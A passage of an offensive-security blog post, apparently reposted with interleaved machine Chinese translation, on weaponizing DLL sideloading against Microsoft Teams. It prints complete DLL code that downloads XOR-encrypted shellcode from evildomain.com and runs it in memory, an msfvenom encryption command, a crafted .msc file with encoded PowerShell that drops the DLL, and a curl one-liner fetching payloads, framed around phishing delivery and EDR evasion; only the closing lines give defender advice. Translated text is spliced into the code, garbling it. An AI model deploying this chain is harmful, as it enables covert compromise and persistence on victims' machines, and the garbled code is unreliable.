VOID DebugToFile(LPCSTR szInput) { 
std::ofstream log(spartacus-proxy-cryptbase.log, std::ios_base::app | std::ios_base::out); 
log << szInput; 
log << \n; 
}

DWORD WINAPI run() { 
HANDLE mem_handle = CreateFileMappingA(INVALID_HANDLE_VALUE, NULL, PAGE_EXECUTE_READWRITE, 0, sizeof(buf), NULL); 

void * mem_map = MapViewOfFile(mem_handle, FILE_MAP_ALL_ACCESS | FILE_MAP_EXECUTE, 0x0, 0x0, sizeof(buf)); 

std::memcpy(mem_map, buf, sizeof(buf)); 

((int( * )()) mem_map)(); 

return 0;
返回 0;

}

BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) { 
HANDLE hThread = NULL; 
switch (ul_reason_for_call) { 
case DLL_PROCESS_ATTACH: 
hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE) run, NULL, 0, NULL); 
case DLL_THREAD_ATTACH: 
case DLL_THREAD_DETACH: 
case DLL_PROCESS_DETACH: 
break; 
} 
return TRUE; 
}

After the DLL file is compiled and placed on the writable path, we can now execute the DVTA application once again.  

Figure 2: DVTA running normally with the new cryptbase.dll
图 2:DVTA 在新 cryptbase.dll 下正常运行

After checking the attacker machine, we can confirm that the payload was successfully executed, while the application is operating in absolutely normal manners.
在检查攻击者机器后,我们可以确认有效负载已成功执行,而应用程序正在以绝对正常的方式运行。

Figure 11: Payload is executed successfully
图 11:Payload 成功执行

8. Weaponizing DLL Proxying
8. 将 DLL 代理武器化

So far, we have touched on the basics of these techniques and DLLs in general. However, when things are translated into practice, they might differ. One common example of that is the executed payload. If you are doing malware development, you will know the sick feeling when your code works with simple payloads like the one showcased above but fails to execute with payloads from complex C2 frameworks like Havoc or Mythic.
到目前为止,我们已经大致了解了这些技术和 DLL 的基础知识。然而,当事情转化为实践时,它们可能会有所不同。一个常见的例子是执行的有效负载。如果您正在进行恶意软件开发,当您的代码使用上面展示的简单有效负载但无法与来自复杂 C2 框架(如 Havoc 或 Mythic)的有效负载一起执行时,您会感到恶心。

Now, instead of showcasing the attack just for the demo purpose, let’s go over one more scenario:
现在,我们不再为了演示目的而展示攻击,而是再来看一个场景:

Seek and destroy:
寻找并销毁

In this scenario, we will find and weaponize DLL-Sideloading for a signed pre-installed application, and also provide pre-compiled well known windows binary if the first approach fails.
在这种情况下,我们将为已签名的预安装应用程序找到 DLL 旁加载并将其武器化,如果第一种方法失败,我们还将提供预编译的已知 Windows 二进制文件。

While the DLL hijacking and DLL proxying techniques were working well in the previous examples, the chances you are going to see the DVTA application in a real environment are extremely low. Also, it’s not signed and therefore doesn’t provide any higher trust for EDRs. So, we are going to step back and target a different application. To me, it makes most sense to target applications that are often present in Windows systems. One of such application is Teams.
虽然 DLL 劫持和 DLL 代理技术在前面的示例中运行良好,但您在真实环境中看到 DVTA 应用程序的机会非常低。此外,它未签名,因此不会为 EDR 提供任何更高的信任。因此,我们将退后一步,以不同的应用程序为目标。对我来说,以 Windows 系统中经常存在的应用程序为目标是最有意义的。其中一种应用程序是 Teams。

Before relying directly on Spartacus, let’s try to manually analyze the application for DLL hijacking vulnerabilities by modifying the filters for Process Monitor:
在直接依赖 Spartacus 之前,我们先尝试通过修改 Process Monitor 的过滤器来手动分析应用程序是否存在 DLL 劫持漏洞:

Figure 12: ProcMon filters for detecting DLL Hijacking vulnerability for teams application
图 12:用于检测 Teams 应用程序的 DLL 劫持漏洞的 ProcMon 过滤器

After applying them, we can observe that there are a lot of CreateFile operations that result in NAME NOT FOUND from a path in the user’s AppData folder.
应用它们后,我们可以观察到有很多 CreateFile 操作导致用户 AppData 文件夹中的路径出现 NAME NOT FOUND

Figure 13: Teams trying to load non-present DLLs from the local user’s AppData folder
图 13:尝试从本地用户的 AppData 文件夹加载不存在的 DLL 的团队

While at first this might look exciting, not all of the DLLs are suitable for hijacking. By using the same automated process as above, Spartacus was able to generate many different solutions.
虽然乍一看这可能令人兴奋,但并非所有 DLL 都适合劫持。通过使用与上述相同的自动化流程,Spartacus 能够生成许多不同的解决方案。

Figure 14: Generated solutions from spartacus
图 14:从 spartacus 生成的解决方案

This might look satisfying at first, but there are some problems with these solutions; not all were suitable for a proper attack. Some of them did not even execute when teams loaded (like wtsapi32.dll). Some of them completely prevented msteams.exe from loading (like DWrite.dll).
乍一看这可能令人满意,但这些解决方案存在一些问题;并非所有人都适合进行适当的攻击。其中一些甚至在团队加载时都没有执行(比如 wtsapi32.dll)。其中一些完全阻止了 msteams.exe 加载(如 DWrite.dll)。

Figure 15: Teams failed to start after hijacking DWrite.dll
图 15:劫持 DWrite.dll 后 Teams 无法启动

But some of them (like AudioSes.dll) were extremely good and suitable candidates. AudioSes.dll did load only once on startup, which ensures that your beacon will not get executed multiple times (as this was the case with CompPkgSup.dll).
但他们中的一些人(比如 AudioSes.dll)是非常优秀和合适的候选人。AudioSes.dll启动时只加载了一次,这确保了你的信标不会被多次执行(就像CompPkgSup.dll的情况一样)。

Since we now have a well known, often used and signed target application and a target DLL that does not break the process, it is time to weaponize it for C2 payload execution.
由于我们现在有一个众所周知的、经常使用和签名的目标应用程序,以及一个不会破坏进程的目标 DLL,因此是时候将其武器化以执行 C2 有效负载了。

Before diving into the dropper itself, let’s first build up the DLL template file. Spartacus came up with the following template for AudioSes.dll:
在深入研究 dropper 本身之前,让我们先构建 DLL 模板文件。Spartacus 为 AudioSes.dll 提供了以下模板:

c
#pragma once
#pragma 一次


#pragma comment(linker, /export:DllCanUnloadNow=C:\\Windows\\System32\\AudioSes.DllCanUnloadNow,@5)
#pragma comment链接器/export:DllCanUnloadNow=C:\\Windows\\System32\\AudioSes.DllCanUnloadNow,@5”)


#pragma comment(linker, /export:DllGetActivationFactory=C:\\Windows\\System32\\AudioSes.DllGetActivationFactory,@6)
#pragma comment链接器/export:DllGetActivationFactory=C:\\Windows\\System32\\AudioSes.DllGetActivationFactory,@6


#pragma comment(linker, /export:DllGetClassObject=C:\\Windows\\System32\\AudioSes.DllGetClassObject,@7) 

#pragma comment(linker, /export:DllRegisterServer=C:\\Windows\\System32\\AudioSes.DllRegisterServer,@8) 

#pragma comment(linker, /export:DllUnregisterServer=C:\\Windows\\System32\\AudioSes.DllUnregisterServer,@9) 

#include windows.h 

#include ios 

#include fstream 

// Remove this line if you aren’t proxying any functions.
如果您未代理任何函数,请删除此行。


HMODULE hModule = LoadLibrary(L C:\\Windows\\System32\\AudioSes.dll); 

// Remove this function if you aren’t proxying any functions.
如果您未代理任何函数,请删除此函数。


VOID DebugToFile(LPCSTR szInput) 

{

std::ofstream log(spartacus-proxy-AudioSes.log, std::ios_base::app | std::ios_base::out); 

log << szInput; 

log << \n; 

}

BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) 

{

switch (ul_reason_for_call) 

{ 

case DLL_PROCESS_ATTACH: 

case DLL_THREAD_ATTACH: 

case DLL_THREAD_DETACH: 

case DLL_PROCESS_DETACH: 

break; 

} 

return TRUE; 

}

Now it’s time to modify it to not only give us a reverse shell but also a beacon from a chosen C2 framework. Since I am a huge Mythic fan, I will use it throughout this blog post.
现在是时候对其进行修改了,不仅为我们提供了一个反向 shell,而且还为我们提供了一个来自所选 C2 框架的信标。由于我是 Mythic 的忠实粉丝,因此我将在这篇博文中使用它。

I will not dive into “how to install and setup the Mythic C2 framework” since I already made a video about it.
我不会深入探讨 “如何安装和设置 Mythic C2 框架”,因为我已经制作了一个关于它的视频。

If you prefer any other C2 framework, make sure to generate your beacon in shellcode format (.bin) and move on to the next points.
如果您更喜欢任何其他 C2 框架,请确保以 shellcode 格式 (.bin) 生成您的 beacon,然后继续进行下一步。

The next step is to encrypt the payload, as we do not want it to be flagged by a signature. To XOR encrypt the payload from Mythic, I will use msfvenom:
下一步是加密有效负载,因为我们不希望它由签名标记。为了对来自 Mythic 的有效负载进行 XOR 加密,我将使用 msfvenom:

msfvenom -p generic/custom payloadfile=apollo.bin --encrypt xor --encrypt-key e001ffbe97fc842aeb4a91161f6291f1 -f raw -o enc.bin

Note: In the previous command, the encryption key was a basic MD5 hash; avoid the use of single-character keys and definitely note down the key you used. It will be needed later on.
注意:在前面的命令中,加密密钥是基本的 MD5 哈希值;避免使用单字符键,并绝对记下您使用的键。以后会用到的。

Now the payload is encrypted and ready in a file called enc.bin. The next step is to modify our Sideload DLL to fetch and execute it during runtime. The code for downloading remote shellcode into the memory and then executing it with C/C++ is already present on my Offensive C/C++ repository and can be found on Github.
现在,有效负载已加密并准备好在名为 enc.bin 的文件中。下一步是修改我们的 Sideload DLL 以在运行时获取并执行它。将远程 shellcode 下载到内存中,然后使用 C/C++ 执行它的代码已经存在于我的 Offensive C/C++ 存储库中,可以在 Github 上找到。

After integrating it, the Sideloading DLL code looks like this:
集成后,旁加载 DLL 代码如下所示:

c
#pragma 编译指示 once 一次

#pragma 编译指示 comment 评论(linker , /export:DllCanUnloadNow=C:
/export:DllCanUnloadNow=C:
\\Windows 窗户\\System32 系统32\\AudioSes.DllCanUnloadNow,@5
AudioSes.DllCanUnloadNow,@5
)

#pragma 编译指示 comment 评论(linker , /export:DllGetActivationFactory=C:
/export:DllGetActivationFactory=C:
\\Windows 窗户\\System32 系统32\\AudioSes.DllGetActivationFactory,@6
AudioSes.DllGetActivationFactory,@6
)

#pragma 编译指示 comment 评论(linker , /export:DllGetClassObject=C:
/export:DllGetClassObject=C:
\\Windows 窗户\\System32 系统32\\AudioSes.DllGetClassObject,@7
AudioSes.DllGetClassObject,@7
)

#pragma 编译指示 comment 评论(linker , /export:DllRegisterServer=C:
/export:DllRegisterServer=C:
\\Windows 窗户\\System32 系统32\\AudioSes.DllRegisterServer,@8
AudioSes.DllRegisterServer,@8
)

#pragma 编译指示 comment 评论(linker , /export:DllUnregisterServer=C:
/export:DllUnregisterServer=C:
\\Windows 窗户\\System32 系统32\\AudioSes.DllUnregisterServer,@9
音频Ses.DllUnregisterServer,@9
)

#include    windows.h   

#  include    ios   

#  include    fstream   

#  include  <  stdio.h  > 

#  include  <  tlhelp32.h  > 

#  include  <  winhttp.h  > 

#  include    Winternl.h   

#  pragma  comment  (  lib  ,   winhttp.lib    ) 

#  pragma  comment  (  lib  ,   ntdll    ) 

// Remove this line if you aren’t proxying any functions.
如果您未代理任何函数,请删除此行。

HMODULE hModule   = LoadLibrary  (  L     C:  \\  Windows  \\  System32  \\  AudioSes.dll    ); 

// Remove this function if you aren’t proxying any functions.
如果您未代理任何函数,请删除此函数。

VOID  DebugToFile  (  LPCSTR  szInput  ) 

{

std  ::  ofstream   log  (    spartacus-proxy-AudioSes.log    , std  ::  ios_base  ::  app   |  std  ::  ios_base  ::  out  ); 

log   <<  szInput  ; 

log   <<    \n    ; 

}

unsigned  char  buf  [  1365758  ]; 

void  dl  (  const  wchar_t  * host  , short  port  ) 

{

int  counter  计数器= 0  ;

DWORD dwSize   = 0  ;

DWORD dwDownloaded   = 0  ;

LPSTR pszOutBuffer  ;

BOOL bResults   = FALSE  ;

HINTERNET hSession   = NULL  , 

hConnect   = NULL  , 

hRequest   = NULL ;

// Use WinHttpOpen to obtain a session handle.
使用 WinHttpOpen 获取会话句柄。

hSession  h会话= WinHttpOpen(L WinHTTP Example/1.0 WinHTTP 示例/1.0,

WINHTTP_ACCESS_TYPE_DEFAULT_PROXY,

WINHTTP_NO_PROXY_NAME,

WINHTTP_NO_PROXY_BYPASS, 0);

// Specify an HTTP server. 

if  (  hSession  ) 

hConnect   = WinHttpConnect  (  hSession  , (  LPCWSTR  ) host  , port  , 0  ); 

DWORD dwFlags   = SECURITY_FLAG_IGNORE_UNKNOWN_CA   |  SECURITY_FLAG_IGNORE_CERT_WRONG_USAGE   |  SECURITY_FLAG_IGNORE_CERT_CN_INVALID   |  SECURITY_FLAG_IGNORE_CERT_DATE_INVALID  ; 

// Create an HTTP request handle. 

if  (  hConnect  ) 

hRequest   = WinHttpOpenRequest  (  hConnect  , L     GET    , L     /enc.bin    , L     HTTP/1.1    , WINHTTP_NO_REFERER  , WINHTTP_DEFAULT_ACCEPT_TYPES  , WINHTTP_FLAG_SECURE  ); 

// This is for accepting self signed Cert 

if  (!  WinHttpSetOption  (  hRequest  , WINHTTP_OPTION_SECURITY_FLAGS  , & dwFlags  , sizeof  (  dwFlags  ))) 

{

exit  (  443  ); 

}

// Send a request. 

if  (  hRequest  ) 

bResults   = WinHttpSendRequest  (  hRequest  , 

WINHTTP_NO_ADDITIONAL_HEADERS  , 

0  , WINHTTP_NO_REQUEST_DATA  , 0  , 

0  , 0  ); 

// End the request. 

if  (  bResults  ) 

bResults   = WinHttpReceiveResponse  (  hRequest  , NULL  ); 

// Keep checking for data until there is nothing left. 

if  (  bResults  ) 

{

do 

{

// Check for available data. 

dwSize = 0;

if 如果 (!WinHttpQueryDataAvailable(hRequest  , & dwSize  )) 

{

printf  (    Error   %u  in WinHttpQueryDataAvailable.  \n    , 

GetLastError  ()); 

break  ; 

}

// No more available data. 

if  (!  dwSize  ) 

break  ; 

// Allocate space for the buffer. 

pszOutBuffer   = new  char  [  dwSize   + 1  ]; 

if  (!  pszOutBuffer  ) 

{

printf  (    Out of memory  \n    ); 

break  ; 

}

// Read the Data. 

ZeroMemory  (  pszOutBuffer  , dwSize   + 1  ); 

if  (!  WinHttpReadData  (  hRequest  , (  LPVOID  ) pszOutBuffer  , 

dwSize  , & dwDownloaded  )) 

{

printf  (    Error   %u  in WinHttpReadData.  \n    , GetLastError  ()); 

} else 

{

int  i   = 0  ; 

while  (  i   <  dwSize  ) 

{

// Since the cunks are transferred in 8192 bytes, this check is required for larger buffers 

if  (counter  计数器>= sizeof size的(buf))

{

break ;

}

memcpy( & buf[counter], & pszOutBuffer[i], sizeof(char));

counter++;

i++;

}

}

delete[] pszOutBuffer;

if (!dwDownloaded)

break;

} while (dwSize > 0);

} else

{

// Report any errors.

printf(Error %d has occurred.\n, GetLastError());

}

printf([+] %d Bytes successfully written!\n, sizeof(buf));

// Close any open handles.

if (hRequest) WinHttpCloseHandle(hRequest);

if (hConnect) WinHttpCloseHandle(hConnect);

if (hSession) WinHttpCloseHandle(hSession);

}

void x(char * payload, int payload_length, char * key, int length) {

int j = 0;

for (int i = 0; i < payload_length 1; i++) {

if (j == length 1) j = 0;

payload[i] ^= key[j];

unsigned char data = payload[i] ^ key[j];

j++;

}

}

VOID run()

{

Sleep(3000);

dl(L evildomain.com, (short) 8443);

char key[] = e001ffbe97fc842aeb4a91161f6291f1;

LPVOID address = ::VirtualAlloc(NULL, sizeof(buf), MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);

x((char * ) buf, sizeof(buf), key, sizeof(key));

std::memcpy(address, buf, sizeof(buf));

Sleep(5000);

((void( * )()) address)();

}

BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved)

{

HANDLE hThread = NULL;

switch (ul_reason_for_call)

{

case DLL_PROCESS_ATTACH:

hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE) run, NULL, 0, NULL);

break;

case  DLL_THREAD_ATTACH:

break ;

case  DLL_THREAD_DETACH:

break ;

case  DLL_PROCESS_DETACH:

break ;

break ;

}

return 返回 TRUE ;

}

After the DLL file is compiled and placed on the writable path, we can now execute the DVTA application once again.
在 DLL 文件编译并放置在可写路径上后,我们现在可以再次执行 DVTA 应用程序。

Figure 2: DVTA running normally with the new cryptbase.dll
图 2:DVTA 在新 cryptbase.dll 下正常运行

The enc.bin file should of course be hosted on controlled web server during the attack, otherwise this POC won’t work.
当然,在攻击期间,enc.bin 文件应该托管在受控的 Web 服务器上,否则此 POC 将不起作用。

When this newly created DLL is placed inside the c:\Users\user\AppData\Local\Microsoft\Teams\current\ folder, Teams will load it on next startup. And now the question is HOW to transfer it? The most obvious answer is of course from phishing attack aiming to obtain initial access and establish persistence. However, transferring a DLL file over email as attachment is not a smart thing to do and will also get blocked by the outlook client.
当这个新创建的 DLL 被放置在 c:\Users\user\AppData\Local\Microsoft\Teams\current \ 文件夹中时,Teams 将在下次启动时加载它。现在的问题是如何转移它?最明显的答案当然来自旨在获得初始访问权限并建立持久性的网络钓鱼攻击。但是,通过电子邮件将 DLL 文件作为附件传输并不是一件明智的事情,并且也会被 Outlook 客户端阻止。

The answer to this problem is not straight forward as there are countless ways and tricks into performing this attack. Some examples may include transferring a legit signed binary with a sideloading DLL in a ZIParchive. But there are dozens of attachment types possibly being used for initial access payloads ranging from MSI/ClickOnce installer files over Scripting files (SCT, JS, …) Shortcut Files (LNK, URL, …) and much more.
这个问题的答案并不简单,因为执行这种攻击的方法和技巧数不胜数。一些示例可能包括在 ZIParchive 中传输具有旁加载 DLL 的合法签名二进制文件。但是,有数十种附件类型可能用于初始访问负载,从 MSI/ClickOnce 安装程序文件到脚本文件(SCT、JS 等)快捷文件(LNK、URL 等)等等。

The aim of this blog is however not to show initial access payload types, so we go for one recently published example only.
然而,本博客的目的不是展示初始访问有效负载类型,因此我们只使用一个最近发布的示例。

On 21th of June, elastic published a new initial access vector for command execution via specially crafted .msc files. We could simply modify this initial PoC to execute a Powershell oneliner, which downloads out DLL from a remote webserver into the target writable %APPDATA% location.
6 月 21 日,Elastic 发布了一个新的初始访问向量,用于通过特制的 .msc 文件执行命令。我们只需修改此初始 PoC 即可执行 Powershell oneliner,该 oneliner 将 DLL 从远程 Web 服务器下载到目标可写 %APPDATA% 位置。

XML XML 格式
<?xml version=1.0?> 
<MMC_ConsoleFile ConsoleVersion=3.0 ProgramMode=UserSDI> 
<ConsoleFileID>a7bf8102-12e1-4226-aa6a-2ba71f6249d0</ConsoleFileID> 

[…snip…] […剪…]


<StringTable> 
<GUID>{71E5B33E-1064-11D2-808F-0000F875A9CE}</GUID> 
<Strings> 
<String ID=1 Refs=1>Favorites</String> 
<String ID=8 Refs=2>// Console Root 

// &#x20;&#x20;&#x20;&#x20;&#x20;&#x20;&#x20;&#x20;&#x20;&#x20;&#x20;&#x20;&#x20;&#x20;&#x20;&#x20;& 

var scopeNamespace = external.Document.ScopeNamespace;
var scopeNamespace = external.Document.ScopeNamespace 的 ScopeNamespace 中;


var rootNode = scopeNamespace.GetRoot()
var rootNode = scopeNamespace.GetRoot()


var mainNode = scopeNamespace.GetChild(rootNode)
var mainNode = scopeNamespace.GetChild(rootNode)


var docNode = scopeNamespace.GetNext(mainNode)
var docNode = scopeNamespace.GetNext(mainNode)


external.Document.ActiveView.ActiveScopeNode = docNode
外部。Document.ActiveView.ActiveScopeNode = 文档节点


docObject = external.Document.ActiveView.ControlObject 

external.Document.ActiveView.ActiveScopeNode = mainNode 

var XML = docObject; 

XML.async = false 

var xsl = XML; 

xsl.loadXML(unescape(“%3C%3Fxml%20version%3D%271%2E0%27%3F%3E%0D%0A%3Cstylesheet%0D%0A%20%20%20%20xmlns%3D%22 http%3A%2F%2Fwww%2Ew3%2Eorg%2F1999%2FXSL%2FTransform%22%20xmlns%3Ams%3D%22urn%3Aschemas%2Dmicrosoft%2Dcom%3Axslt %22%0D%0A%20%20%20%20xmlns%3Auser%3D%22placeholder%22%0D%0A%20%20%20%20version%3D%221%2E0%22%3E%0D%0A%20%20%20 %20%3Coutput%20method%3D%22text%22%2F%3E%0D%0A%20%20%20%20%3Cms%3Ascript%20implements%2Dprefix%3D%22user%22%20 language%3D%22VBScript%22%3E%0D%0A%09%3C%21%5BCDATA%5B%0D%0ASet%20wshshell%20%3D%20CreateObject%28%22WScript %2EShell%22%29%0D%0AWshshell%2Erun%20%22powershell%20-w%20hidden%20Invoke-WebRequest%20-Uri%20https%3A%2F%2Fevildomain.com%2FAudioSes.dll%20-OutFile%20%24env%3ALOCALAPPDATA%5CMicrosoft%5CTeams%5Ccurrent%5CAudioSes.dll%20-UseBasicParsing%22%0D%0A%5D%5D%3E%3C%2Fms%3Ascript%3E%0D%0A%3C%2Fstylesheet%3E”)) 

XML.transformNode(xsl) 

</String> 
<String ID=23 Refs=2>Document</String> 
<String ID=24 Refs=1>{2933BF90-7B36-11D2-B20E-00C04F983E60}</String> 
<String ID=38 Refs=2>Main</String> 
<String ID=39 Refs=1>res://apds.dll/redirect.html?target=javascript:eval(external.Document.ScopeNamespace.GetRoot().Name)</String> 
</Strings> 
</StringTable> 
</StringTables> 
<BinaryStorage> 

[…snip…] […剪…]


<SNIPPED CODE> 

The interesting part is the execution of Powershell in the URL-encoded payload section , which downloads the DLL from a remote webserver into %APPDATA%.
有趣的部分是在 URL 编码的有效负载部分执行 Powershell ,它将 DLL 从远程 Web 服务器下载到 %APPDATA%。

Keep in mind that no matter which payload you use, always url encode it before action, otherwise it will simply corrupt the MSC file.
请记住,无论您使用哪种有效负载,请始终在操作前对其进行 url 编码,否则它只会损坏 MSC 文件。

To make the things even better, the .msc payload could also be adjusted in terms of a pre-checking if Teams is running or not. If there is no Teams on the target system, we’re using an alternative payload. Let’s extend the logic a little bit now.
为了使事情变得更好,还可以根据预先检查 Teams 是否正在运行来调整 .msc 有效负载。如果目标系统上没有 Teams,我们将使用备用有效负载。现在让我们稍微扩展一下逻辑。

Powershell w hidden if (Get-Process Name Teams ErrorAction SilentlyContinue) { curl.exe https://evildomain.com/AudioSes.dll k o $env:LOCALAPPDATA\Microsoft\Teams\current\AudioSes.dll } else { curl.exe https://evildomain.com/Obsidian.zip k o C:\Windows\Tasks\Obsidian.zip; Expand-Archive Path C:\Windows\Tasks\Obsidian.zip DestinationPath C:\Windows\Tasks Force; C:\Windows\Tasks\obsidian.exe}
Powershell w hidden if (Get-Process Name Teams ErrorAction SilentlyContinue { curl.exe https:evildomain.com/AudioSes.dll k o $env:LOCALAPPDATA\Microsoft\Teams\current\AudioSes.dll } else { curl.exe https:evildomain.com/Obsidian.zip k o C:\Windows\Tasks\Obsidian.zip; 扩展存档 path c:\Windows\Tasks\Obsidian.zip DestinationPath c:\Windows\Tasks Force; C:\Windows\Tasks\obsidian.exe}

In this case, the first part of the snippet will check the running processes for an Teams instance running. If so, it will simply drop the DLL, which will complete the sideloading attack and establish persistence. On the other hand side, if Teams is missing, the code will download a ZIP archive with known and signed binary, in this example – Obsidian. The archive also contains the precompiled malicious DLL with the name of oleacc.dll.
在这种情况下,代码片段的第一部分将检查正在运行的 Teams 实例的正在运行的进程。如果是这样,它只会删除 DLL,这将完成旁加载攻击并建立持久性。另一方面,如果缺少 Teams,代码将下载一个包含已知和签名二进制文件的 ZIP 存档,在本例中为 Obsidian。该存档还包含名为 oleacc.dll 的预编译恶意 DLL。

The oleacc.dll has the same functionality as AudioSes.dll and was generated with Spartacus, by following the same process as above.
该oleacc.dll具有与 AudioSes.dll 相同的功能,并且是使用 Spartacus 生成的,遵循与上述相同的过程。

After extraction, obsidian.exe will be executed and then the DLL will be loaded.
提取后,将执行 obsidian.exe,然后加载 DLL。

The next part is to transfer the .msc file in an archive (as plain .msc is also blocked for download by outlook) or via Phishing Link as download from a remote webserver (no Mark of the Web), and upon execution, we should be able to receive a C2 callback in each of the cases.
下一部分是将 .msc 文件以存档形式传输(因为 Outlook 也阻止下载纯 .msc)或通过网络钓鱼链接作为从远程 Web 服务器下载的文件(没有 Web 标记),在执行时,我们应该能够在每种情况下收到 C2 回调。

Case 1: Teams 案例 1:团队

Executing test.msc automatically downloads AudioSes.dll to the needed location.
执行 test.msc 会自动将 AudioSes.dll 下载到所需的位置。

Figure 16: msc execution leads to file drop & persistence
图 16:msc 执行导致文件丢弃和持久化

Next time teams starts, the enc.bin file is remotely fetched and C2 connection get’s established.
下次 teams 启动时,将远程获取 enc.bin 文件并建立 C2 连接。

Figure 17: DLL && encrypted payload getting downloaded
图 17:下载 DLL && 加密的有效负载
Figure 18: C2 connection established via Teams
图 18:通过 Teams 建立的 C2 连接

Case 2: Obsidian 案例 2:黑曜石

Here, test.msc is executed when Teams is not running, which downloads and extracts Obsidian.zip into C:\Windows\Tasks\.
在这里,test.msc 在 Teams 未运行时执行,它会Obsidian.zip下载并提取到 C:\Windows\Tasks\ 中。

Using Obsidian for initial access in a real world environment would however be highly suspicious, as Obsidian won’t start in hidden mode but be visible for the target user, which might also just close the process killing your C2-connection. But this example can be replaced with any other Sideloading binary.
然而,在现实世界环境中使用 Obsidian 进行初始访问是非常可疑的,因为 Obsidian 不会以隐藏模式启动,但对目标用户可见,这也可能只是关闭终止您的 C2 连接的进程。但此示例可以替换为任何其他 Sideloading 二进制文件。

Figure 19: Archive extracted && Obsidian started
图 19:存档提取 && Obsidian 已启动
Figure 20: C2 connection via Obsidian.exe
图 20:通过 Obsidian.exe 进行 C2 连接

9. Conclusion 9. 结论

We went through explanations about DLLs in general, how the DLL Sideloading attack works and some ideas for initial access and weaponization. You may now understand what DLL Hijacking and DLL Sideloading is about and how to forward DLL exports.
我们大致解释了 DLL、DLL Sideloading 攻击的工作原理以及初始访问和武器化的一些想法。您现在可以了解什么是 DLL 劫持和 DLL 旁加载以及如何转发 DLL 导出。

The process of finding binaries vulnerable to DLL Sideloading, as well as weaponization of those in terms of shellcode execution with basic and minimum needed evasion was shown.
显示了查找易受 DLL 旁加载影响的二进制文件的过程,以及在具有基本和最低所需规避的 shellcode 执行方面将这些二进制文件武器化的过程。

One of the coolest parts about sideloading is its evasive nature, especially for EDRs. Living in a legitimate signed and often used binary will lead to more trust for our process and less detections. Especially, if our target process is doing similar activities to our beacon like HTTPS communication in regular intervals, we masquerade this IoC inside of our trusted process. Using an unsigned exectable, which is not known to be used in company environments (cloud metadata) will likely already lead to an alert/detection, so sticking to at least DLLs or better Sideloading is a must nowadays.
侧载最酷的部分之一是它的规避性,尤其是对于 EDR。生活在合法的签名且经常使用的二进制文件中将导致对我们的流程的更多信任和更少的检测。特别是,如果我们的目标进程定期执行与我们的信标类似的活动(如 HTTPS 通信),我们会将此 IoC 伪装在受信任的进程中。使用未知在公司环境(云元数据)中使用的未签名的 exectable 可能已经导致警报/检测,因此现在必须至少坚持使用 DLL 或更好的旁加载。

Of course, the DLL payload itself should be as evasive as possible because, no matter how evasive the sideloading technique is, you cannot expect great results if you for example embed the plaintext payload into the source code, just as I did in the first demo. Once more, remember that every component of your attack chain needs to be taken care of because the attack likely fails if just one of them is not.
当然,DLL 有效负载本身应该尽可能避开,因为无论旁加载技术多么避开,例如,如果您将纯文本有效负载嵌入源代码中,就不能期望获得很好的结果,就像我在第一个演示中所做的那样。再一次,请记住,您的攻击链的每个组成部分都需要得到照顾,因为如果其中一个没有,攻击可能会失败。

As defenders, it’s crucial to adopt a multi-layered approach to mitigate this risk effectively.
作为防御者,采用多层方法来有效缓解这种风险至关重要。

One of the primary strategies involves implementing Application Whitelisting to ensure only approved binaries can execute. By tightly controlling what runs in your environment, you significantly reduce the attack surface.
主要策略之一涉及实施应用程序白名单,以确保只有经过批准的二进制文件才能执行。通过严格控制环境中运行的内容,您可以显著减少攻击面。

Custom detection rules for known Windows DLLs being loaded from non Windows path’s such as System32 could also be used to identify DLL Sideloading attacks. Doing this for non Windows DLLs however is not that easy, as there are too many different vendors and binaries/DLLs to track all of them.
从非 Windows 路径(如 System32)加载的已知 Windows DLL 的自定义检测规则也可用于识别 DLL 旁加载攻击。然而,对非 Windows DLL 执行此操作并不是那么容易,因为有太多不同的供应商和二进制文件/DLL 无法跟踪所有这些。

It is imperative to prioritize user awareness and education. After all, the MSC file from this blogpost must be first delivered to the victim system before it is executed. When paired with strong endpoint security solutions, the chances to identify and stop malicious activities are higher.
必须优先考虑用户意识和教育。毕竟,在执行此博客文章之前,必须首先将本博客文章中的 MSC 文件交付给受害者系统。当与强大的端点安全解决方案配合使用时,识别和阻止恶意活动的机会会更高。

原文始发于Lachezar Uzunov:DLL Sideloading

版权声明:admin 发表于 2024年10月19日 上午10:44。
转载请注明:DLL Sideloading | CTF导航

相关文章